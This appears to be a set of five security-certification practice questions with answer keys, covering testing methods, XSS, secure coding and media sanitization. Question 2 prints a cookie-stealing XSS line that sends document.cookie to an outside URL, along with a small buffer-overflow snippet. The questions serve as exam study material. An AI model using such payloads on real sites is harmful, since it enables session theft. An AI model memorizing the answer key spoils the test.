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QUESTION 1

The Chief Information Security Officer (CISO) of a small bank wants to embed a monthly testing regiment into the
security management plan specifically for the development area. The CISO\\'s requirements are that testing must have
a low risk of impacting system stability, can be scripted, and is very thorough. The development team claims that this
will lead to a higher degree of test script maintenance and that it would be preferable if the testing was outsourced to a
third party. The CISO still maintains that third-party testing would not be as thorough as the third party lacks the
introspection of the development team. 

Which of the following will satisfy the CISO requirements? 

A. Grey box testing performed by a major external consulting firm who have signed a NDA. 

B. Black box testing performed by a major external consulting firm who have signed a NDA. 

C. White box testing performed by the development and security assurance teams. 

D. Grey box testing performed by the development and security assurance teams. 

Correct Answer: C 

 

 

QUESTION 2

Which of the following displays an example of a XSS attack? 

A. document.location=\\'http://site.comptia/cgi-bin/script.cgi?\\'+document.cookie  

B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc
e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz
d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz
ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb
7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb
b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb 

C.  Username:  PassworD.   

D. #include char *code = "AAAABBBBCCCCDDD"; //including the character \\'\0\\' size = 16 bytes void main() {char
buf[8]; strcpy(buf, code); } 

Correct Answer: A 

 

QUESTION 3

A Security Manager is part of a team selecting web conferencing systems for internal use. The system will only be used
for internal employee collaboration. Which of the following are the MAIN concerns of the security manager? (Select
THREE). 

A. Security of data storage 
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B. The cost of the solution 

C. System availability 

D. User authentication strategy 

E. PBX integration of the service 

F. Operating system compatibility 

Correct Answer: ACD 

 

 

QUESTION 4

A security architect is assigned to a major software development project. The software development team has a history
of writing bug prone, inefficient code, with multiple security flaws in every release. The security architect proposes
implementing secure coding standards to the project manager. 

The secure coding standards will contain detailed standards for: 

A. error handling, input validation, memory use and reuse, race condition handling, commenting, and preventing typical
security problems. 

B. error prevention, requirements validation, memory use and reuse, commenting typical security problems, and testing
code standards. 

C. error elimination, trash collection, documenting race conditions, peer review, and typical security problems. 

D. error handling, input validation, commenting, preventing typical security problems, managing customers, and
documenting extra requirements. 

Correct Answer: A 

 

 

QUESTION 5

Company XYZ plans to donate 1,000 used computers to a local school. The company has a large research and
development section and some of the computers were previously used to store proprietary research. 

The security administrator is concerned about data remnants on the donated machines, but the company does not have
a device sanitization section in the data handling policy. 

Which of the following is the BEST course of action for the security administrator to take? 

A. Delay the donation until a new policy is approved by the Chief Information Officer (CIO), and then donate the
machines. 

B. Delay the donation until all storage media on the computers can be sanitized. 

C. Reload the machines with an open source operating system and then donate the machines. 
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D. Move forward with the donation, but remove all software license keys from the machines. 

Correct Answer: B 
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